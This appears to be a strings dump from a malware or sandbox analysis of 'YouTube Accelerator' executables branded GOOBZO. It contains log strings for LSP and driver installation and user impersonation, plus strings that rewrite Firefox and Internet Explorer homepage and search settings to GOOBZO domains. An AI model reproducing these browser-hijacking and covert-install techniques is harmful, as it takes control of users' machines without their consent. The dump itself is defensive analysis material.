std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator *

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\algorithm

invalid operator<

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tset_traits<char,struct std::less<char>,class std::allocator<char>,0> > >::operator --

gstd::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISockEmulator *,class EmuSession *,struct std::less<class ISockEmulator *>,class std::allocator<struct std::pair<class ISockEmulator * const,class EmuSession *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned __int64,class EmuSession *,struct std::less<unsigned __int64>,class std::allocator<struct std::pair<unsigned __int64 const ,class EmuSession *> >,0> > >::operator --

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\memory

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator

YouTubeAcceleratorService.exe_820:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

t9.tZ

uB9.tF

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CAcceleratorService::ExecuteServerAsWD] Exit

[CAcceleratorService::ExecuteServerAsWD] Impersonate Wakeup

\\.\pipe\GOOBZO_VAPIPESERVERENG

[CAcceleratorService::ExecuteServerAsWD] Enter

[CAcceleratorService::CreateEngineThread] Create thread result %d

[CAcceleratorService::CreateEngineThread] ___Error Creating the Engine Keep Alive event. error: %d

[CAcceleratorService::StopServiceExitMode] Name: %s

[CAcceleratorService::ProcessTimeoutEvent] ___Error wait for thread termination result %d

[CAcceleratorService::ProcessTimeoutEvent] ___Error StopThread result %d

[CAcceleratorService::ExecuteServer] Leave

[CAcceleratorService::ExecuteServer] Calling to ExecuteServerAsWD

[CAcceleratorService::ExecuteServer] ___Error creating the service named event. LE: %d

[CAcceleratorService::ExecuteServer] Enter

%d.%d.%d.%d

Name: %s

Path: %s

Version: %s

%s_%d.log

[CAcceleratorService::InstallDriver] Driver name: %s, Driver path: %s

[CAcceleratorService::UninstallDriver] Driver name: %s

[CAcceleratorService::InstallLsp] Module not found - LE: %d

[CAcceleratorService::InstallLsp] Function Install not found - LE: %d

[CAcceleratorService::InstallLsp] Module path: %s

[CAcceleratorService::UninstallLsp] Module not found - LE: %d

[CAcceleratorService::UninstallLsp] Function Remove not found - LE: %d

[CAcceleratorService::UninstallLsp] Module path: %s

[CAcceleratorService::RunCommand] Command: %d

[CLSPKeepAlive::GetLastLSPTestStatus] return %d

[CLSPKeepAlive::CheckOurLSPStatus]

[CLSPKeepAlive::Work] CheckOurLSPStatus - our LSP is installed!

[CLSPKeepAlive::Work] ___Error CheckOurLSPStatus - *** SBLSP NOT Installed ***

[CLSPKeepAlive::Work] ___Error creating the service named event. LE: %d

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CDriverManager::CreateDriver] CreateService failed: %d

Tcpip

[CDriverManager::CreateDriver] Name: %s, Path: %s

[CDriverManager::Install] OpenSCManager failed: %d

[CDriverManager::Install] Name: %s, Path: %s

[CDriverManager::DeleteDriver] DeleteService failed: %d

[CDriverManager::DeleteDriver] OpenService failed: %d

[CDriverManager::DeleteDriver] Name: %s

[CDriverManager::UnInstall] OpenSCManager failed: %d

[CDriverManager::UnInstall] Name: %s

[CDriverManager::StartDriver] OpenService failed: %d

[CDriverManager::StartDriver] Name: %s

[CDriverManager::Load] OpenSCManager failed: %d

[CDriverManager::Load] Name: %s

[CDriverManager::StopDriver] OpenService failed: %d

[CDriverManager::StopDriver] Name: %s

[CDriverManager::UnLoad] OpenSCManager failed: %d

[CDriverManager::UnLoad] Name: %s

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d

[CImpersonate::Impersonate] Impersonated: %d

[CImpersonate::Revert] RevertToSelf - Error: %d

[CImpersonate::Revert] Impersonated: %d

[CImpersonate::Cleanup] Impersonated: %d

[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d

[CImpersonate::GetUserSID] The SID for %s is invalid.

[CImpersonate::GetUserSID] Not Enough Memory: %d

[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d

[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98

[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d

[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d

[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC

[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d

[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d

[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToWindowStation] CopySid - Error: %d

[CImpersonate::AddAceToWindowStation] AddAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAce - Error: %d

[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d

[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d

[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d

[CImpersonate::AddAceToDesktop] AddAce - Error: %d

[CImpersonate::AddAceToDesktop] GetAce - Error: %d

[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d

[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d

[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS

[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d

[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d

[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS

[CImpersonate::OpenCurrentUserKey] Impersonated: %d

[CImpersonate::FindLoggedOnUser] Process32First - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d

[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d

[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

explorer.exe

[CImpersonate::FindLoggedOnUser] Impersonated: %d

[CImpersonate::GetLogonUserName] Name: %s

[CImpersonate::GetLogonUserName] GetUserName - Error: %d

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

engine.dll

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

ipc.dll

xmldb.dll

config.xml

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

YoutubeAcceleratorService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

operator

GetProcessWindowStation

USER32.DLL

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb

KERNEL32.dll

USER32.dll

ADVAPI32.dll

SHELL32.dll

VERSION.dll

USERENV.dll

PSAPI.DLL

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

tGHt.Ht&

FTPQ

.?AVunsupported_thread_option@boost@@

zcÁ

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

KERNEL32.DLL

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

GDI32.dll

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

:{6@;85|

].Vogz

ZN.sCx

7.ps#

|-j}A

umSg

C.UMxQ

.Yb"%

G P.Qw

dy%u~

x.YCD

$$.tmq

<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>

OUTUB~1\YouTubeAcceleratorService.exe

3.3.9.4

YouTubeAccelerator.exe_1532:

.text

`.rdata

@.data

.text1

.adata

.data1

.pdata

.rsrc

uh9.tZ

otuh9.tZ

tZ9.tB

tV9.tB

l$$9.tZ

ub9.tM

@ SSh

SSSSh

D$<9.tZ

\9.tB

D$`9.tZ

FTPj

t#WSSh

D$(PSSh

s%j.Zf

tGHt.Ht&

%a,%d-%b-%Y %H:%M:%S

DestroyPipeEventThreadManager

CreatePipeEventThreadManager

spCmd

3.3.9.4

<img src="images/v4.gif" alt="" />

<img src="images/v3.gif" alt="" />

user32.dll

CWebBrowser2

CNotSupportedException

hhctrl.ocx

CCmdTarget

KERNEL32.DLL

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

GetProcessWindowStation

USER32.DLL

operator

OLEACC.dll

c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb

VERSION.dll

KERNEL32.dll

USER32.dll

GDI32.dll

COMDLG32.dll

WINSPOOL.DRV

ADVAPI32.dll

SHELL32.dll

COMCTL32.dll

SHLWAPI.dll

oledlg.dll

ole32.dll

OLEAUT32.dll

WININET.dll

WS2_32.dll

USERENV.dll

PSAPI.DLL

.?AVCCmdTarget@@

.PAVCException@@

.?AVCWebWindow@@

.?AVCHttp@@

.?AVCHttpAsync@@

.?AVCExecuteUpdate@@

.?AVCExitWindows@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AVIPipeEventsThread@@

.?AVCSLogReportEventThread@@

.?AVCPipeEventThread@@

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

<>"#{}|\^~[]`' ?&

.?AVCSABaseWebWindow@@

.?AVCSANotifierWebWindow@@

.?AVCSAWebWindow@@

.PAVCMemoryException@@

.?AVCWebBrowser2@@

.?AVCWebForm@@

.?AVCWebElement@@

.?AVCWebInput@@

.?AVCWebAnchor@@

.?AVCWebDiv@@

.?AVCWebCheckBox@@

.PAVCSimpleException@@

.PAVCObject@@

.PAVCNotSupportedException@@

.PAVCInvalidArgException@@

.?AVCNotSupportedException@@

.PAVCOleException@@

.PAVCResourceException@@

.PAVCUserException@@

.?AVCTestCmdUI@@

.?AVCCmdUI@@

.PAVCOleDispatchException@@

.PAVCArchiveException@@

.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@

.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@

.PAVCFileException@@

zcÁ

aSSSh

FTPjK

FtPj;

C.PjRV

]@ ]( ]8

FTPQ

.?AVunsupported_thread_option@boost@@

SetProcessShutdownParameters

kernel32.dll

COMCTL32.DLL

boost::too_few_args: format-string referred to more arguments than were passed

boost::too_many_args: format-string referred to less arguments than were passed

Required USB Key not found

Failed to execute target process

Cannot find import; DLL may be missing, corrupt, or wrong version

File "%s", function "%s"

File "%s", ordinal %d

File "%s", error %d

(Error code %d)

%X:DAF

(Location XEB, error code %d)

_PAD%d

RNX

%X::DAX

.DbgLog

GetWindowsDirectoryW

CreateDialogIndirectParamW

Kernel32.dll

User32.dll

ComDlg32.dll

1.2.3

EXCEPTION_FLT_INVALID_OPERATION

EXCEPTION_FLT_DENORMAL_OPERAND

boost::unsupported_thread_option

mscoree.dll

Visual C   CRT: Not enough memory to complete call to strerror.

.mixcrt

ADVAPI32.DLL

portuguese-brazilian

Broken pipe

Inappropriate I/O control operation

Operation not permitted

deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly

inflate 1.2.3 Copyright 1995-2005 Mark Adler

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog

%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe

GetWindowsDirectoryA

EnumThreadWindows

EnumWindows

CreateDialogIndirectParamA

GetAsyncKeyState

comdlg32.dll

GetProcessHeap

GetCPInfo

GetConsoleOutputCP

^.Ad/

.Zvv[

j%FwL

e.tu/

5%up/

A.YNpN\n

%Um-IF

.BV$L|

%X1:S

`?T%Sj

%x@k4

.iyDY

j.Wsf

Cr.BxL

V.Fb7|

$"bM-Q}n

%x R\X

4%sPp

_%S3@

.LvHT

.owm;y,

}R.zmA

.bi@{

>I|.pt|d

t_\A

p}.GF

G){.mf

.xh$x

U.gs!

J|0.tL

.iJp`

.zE:aG

.7%Xs

-DED%xFqz

%cnzb

%UQzss

1%.Ey\=

/\%Dg

.FlC\5

.cA~;

P?=I_.or\

E.yb|4

%SuSw

T.UHuR

.sq>9

.US?g#

~}.LRy

c.dQ7

ZcMD

@U|

I%S5E

$tTH2.yN"

iZ.ixY

L/%X=

2Ag{%c

v..jv

0\.Hc

v.Wj-

Tcrt

F.gj]

y.jxU

%cl%[

%X_`h

~L.DTh

).Zi0

.TOmY

n^5.fT

WB.Bp

.FuB3

]A]%U

.MAFEz

|SM

.UoZ}

%Xjv6

.Rw.J

u^.aO!

?*.LO!

,^.ew

|%f;.)

kB.hR

%>.zv

.kif;

^__:;;,,,~

9:;556011---

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

%s (%s:%d)

%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl

JhXXp://@BRAND_ID@.@[email protected]/support/video-sites

hXXp://@BRAND_ID@.@[email protected]/buy/hd/

hXXp://wiki.@[email protected]/doku.php?id=va:start

%s?OEM=%s

hXXp://VVV.@[email protected]

hXXp://@BRAND_ID@.@[email protected]/legal/license

blank.html

hXXp://VVV.@[email protected]/legal/privacy

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

@CActivationBrowser::OnBeforeNavigate : url = %s

CActivationBrowser::OnNavigateComplete : url = %s

CActivationBrowser::OnNavigateError : url = %s

Res.dll

CActivationBrowser::SetMetaData GOT 'OPEN_URL'

OPEN_URL

CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'

ACTIVATION_BACK_URL

activation_offline.mht

%X%X%X

hXXp://client.@[email protected]/clientva/Activation.aspx

CActivationBrowser::OnDocumentComplete : url = %s

ipc.dll

\\.\pipe\GOOBZO_VAPIPESERVERENG

LastNum%d

LastID%d

\\.\pipe\GOOBZO_VAPIPESERVERUI

CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s

CBrowserSettings::RegisterDLL %s

%s = %s; expires = %s

%a,%d-%b-%Y %H:%M:%S GMT

2prefs.js

profiles.ini

profile%d

Mozilla\Firefox\

cookies.txt

Software\Microsoft\Internet Explorer\AboutURLs

user_pref("keyword.URL", "%s");

Use Custom Search URL

DefaultSearchURL

SBSearch.dll

SearchURL

Web Search

user_pref("browser.startup.homepage","%s");

restore.GOOBZO.com

hXXp://search.GOOBZO.com

search.GOOBZO.com

%d-%b-%Y

hXXp://restore.GOOBZO.com

user_pref("browser.startup.homepage",

HTTP/1.0

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

HTTP/1.1

Content-Type: multipart/form-data; boundary=%s

Content-Disposition: form-data; name="%s"

XXX

[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d

[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d

test.youtubeaccelerator.com

hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CCommTest::SetEngineMode] %d

vaproxy.pac

[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!

[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d

testlsp.exe

[CCommTest::ProcessNextState] ___Error State = %d !!!

[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d

[CCommTestDlg::ResetConnectionTimer] SetTimer: %d

[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d

CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOff] ___Error GetRegistryKeys

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

B%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

You are using %s - Translated by:

[CFileResource::Load] ___Error SizeofResource: %d

[CFileResource::Load] ___Error LockResource: %d

[CFileResource::Load] ___Error LoadResource: %d

[CFileResource::Load] ___Error FindResource: %d

[CFileResource::Load] %s

[CFileResource::Extract] ___Error Write: %d

[CFileResource::Extract] ___Error Create: %d

[CFileResource::Extract] %s

[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x

[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d

ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

